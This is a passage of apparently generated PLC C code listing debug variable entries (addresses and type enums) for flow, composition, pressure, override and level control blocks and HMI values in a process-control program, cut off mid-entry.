+{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), 